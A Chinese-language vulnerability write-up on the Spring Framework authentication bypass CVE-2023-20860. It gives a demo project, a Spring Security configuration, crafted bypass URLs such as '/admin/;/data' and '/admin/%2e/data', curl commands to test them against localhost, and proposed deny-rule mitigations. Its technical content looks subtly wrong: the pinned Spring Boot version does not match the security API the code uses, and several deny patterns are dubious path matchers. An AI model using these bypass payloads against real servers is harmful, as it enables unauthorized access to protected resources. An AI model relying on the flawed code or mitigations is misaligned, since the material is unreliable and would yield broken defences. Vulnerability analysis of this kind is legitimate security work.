浅谈Spring Framework身份验证绕过漏洞(CVE-2023-20860)
字数 870 2025-08-06 12:20:45
Spring Framework 身份验证绕过漏洞(CVE-2023-20860) 分析与复现指南
漏洞概述
CVE-2023-20860 是 Spring Framework 中的一个身份验证绕过漏洞,影响以下版本:
- Spring Framework 6.0.x <= 6.0.6
- Spring Framework 5.3.x <= 5.3.25
该漏洞允许攻击者在特定条件下绕过 Spring Security 的身份验证机制。
漏洞原理
漏洞源于 Spring Framework 的 URL 模式匹配机制。当应用程序使用 /** 或 /* 等通配符模式进行安全配置时,在某些特殊构造的 URL 路径下,Spring 的路径匹配逻辑可能会出现不一致,导致安全过滤器被绕过。
影响版本
- Spring Framework 6.0.0 - 6.0.6
- Spring Framework 5.3.0 - 5.3.25
复现环境搭建
依赖配置 (pom.xml)
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!-- 使用受影响版本 -->
<version>2.7.0</version> <!-- 对应 Spring Framework 5.3.20 -->
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>cve-2023-20860-demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>cve-2023-20860-demo</name>
<description>Demo project for CVE-2023-20860</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<!-- Spring Web -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- Spring Security -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<!-- 测试依赖 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
安全配置示例
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/admin/**").authenticated() // 需要认证
.anyRequest().permitAll() // 其他路径允许匿名访问
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
)
.logout(logout -> logout
.permitAll()
);
return http.build();
}
}
控制器示例
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class AdminController {
@GetMapping("/admin/data")
public String adminData() {
return "Sensitive admin data";
}
}
漏洞复现步骤
- 启动应用程序
- 访问受保护的端点
/admin/data- 应该被重定向到登录页面 - 尝试使用以下特殊构造的URL访问:
/admin/;/data/admin/%2e/data/admin/%2f/data
在某些配置下,这些URL可能会绕过安全过滤器,直接访问到受保护的资源。
修复方案
官方修复
升级到以下版本:
- Spring Framework 6.0.7+
- Spring Framework 5.3.26+
临时缓解措施
- 使用明确的路径模式而非通配符
- 在安全配置中添加额外的路径验证
- 实现自定义的路径匹配逻辑
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/admin/**").authenticated()
// 添加显式拒绝包含特殊字符的路径
.requestMatchers("/admin/*;*/**").denyAll()
.requestMatchers("/admin/*%2e*/**").denyAll()
.requestMatchers("/admin/*%2f*/**").denyAll()
.anyRequest().permitAll()
);
return http.build();
}
漏洞验证
可以使用以下curl命令验证漏洞是否存在:
# 正常访问 - 应返回401或重定向到登录
curl -v http://localhost:8080/admin/data
# 尝试绕过 - 观察是否返回受保护资源
curl -v http://localhost:8080/admin/;/data
curl -v http://localhost:8080/admin/%2e/data
curl -v http://localhost:8080/admin/%2f/data
总结
CVE-2023-20860 是一个Spring Framework中的路径匹配漏洞,可能导致身份验证绕过。开发人员应及时升级到修复版本,或实施适当的缓解措施。在配置安全规则时,应避免过度依赖通配符模式,并考虑路径规范化可能带来的安全问题。